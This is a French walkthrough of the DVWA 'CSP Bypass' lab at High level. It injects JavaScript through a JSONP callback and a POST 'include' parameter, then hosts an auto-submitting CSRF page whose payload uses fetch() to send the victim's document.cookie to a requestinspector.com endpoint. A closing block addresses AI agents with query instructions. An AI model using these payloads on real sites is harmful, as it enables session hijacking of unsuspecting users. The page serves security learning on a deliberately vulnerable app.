# Niveau "High"

Le niveau "High" permet de résoudre une opération mathématique grâce à un appel JSONP :

![](/files/-LuHI7QkMzc1JJUSeQ8H)

La méthode de callback se nomme `solveSum()` :

![](/files/-LuHLjA5vyPEZ21snOhj)

Et la réponse permet de résoudre l'opération :

![](/files/-LuHMH7EQVz3iWZsT1sE)

Dans un premier temps, j'ai intercepté la requête du callback afin d'y injecter un bout de JS :

![](/files/-LuHVEA5ibGpigj-AEIv)

Cela semble fonctionner :

![](/files/-LuHVnJiRszMmoWJm0BH)

Le problème est qu'il n'est pas possible de soumettre notre payload à la victime car le `Content-Type` de la réponse est de type `application/json` et donc non exploitable en l'état :

![](/files/-LuHWBvSIvBGMRcj7JJS)

![](/files/-LuHWilk81hXNFa1yAVb)

Etant bloqué mais voulant aller plus loin, je suis allé voir ce que d'autres personnes avaient réussi à faire. Je suis tombé sur ce [writeup](http://halazi.xin/2019/01/09/DVWA-CSP-BYPASS/) qui suit la démarche suivante :

* Analyser les sources du challenge permet d'identifier un endpoint de type **`POST`** autorisant d'inclure une donnée dans le page csp :

![](/files/-LuHZeyrpDVgWGG9NHXd)

La requête suivante devient donc possible :

```
POST /vulnerabilities/csp/ HTTP/1.1
Host: 192.168.56.203:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.56.203:8080/security.php
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=b4rgbmn3q7l71tide90m809bj3; security=high
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 71

include=<script src="source/jsonp.php?callback=alert(1);"></script>
```

{% hint style="warning" %}
Attention à ne pas oublier le Content-Type pour la requête POST
{% endhint %}

Et en effet, le script est bien exécuté :

![](/files/-LuH_zLLHrdkvJlH9p8g)

Le problème ici est que pour connaitre ce endpoint en **`POST`** il fallait regarder les sources (ou le deviner). En général je préfère ne regarder les sources qu'après avoir terminé le challenge.

Bien que l'auteur du writeup n'indique pas comment, il faut maintenant trouver un vecteur d'attaque contre la victime. J'utilise à nouveau l'exploitation de la faille CSRF, présente également sur ce niveau, en hébergeant le script malicieux suivant sur mon serveur :

```markup
<html>
    <head>
        <title>Exploitation POST XSS</title>
    </head>

    <body>
        <p>Coucou !</p>
        <form action="http://192.168.56.203:8080/vulnerabilities/csp/" method="POST" name="postExploitXSS">
            <input type="text" name="include" value="<script src=&quot;source/jsonp.php?callback=fetch('https://requestinspector.com/inspect/01dt9afwk20cb3xj8f1dwfdj6b?cookie='%2Bdocument.cookie);&quot;></script>">
            <button type="submit">Envoyer le message</button>
        </form>

        <script>
            document.forms['postExploitXSS'].submit();
        </script>
    </body>
</html>
```

{% hint style="info" %}
Attention à l'encodage de certains caractères spéciaux au niveau de la valeur à envoyer
{% endhint %}

Lorsque la victime (authentifiée) visite ma page malicieuse, je subtilise son jeton de session :

![](/files/-LuIY-CtxF7Ov8xhq4EX)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/csp-bypass/niveau-high.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
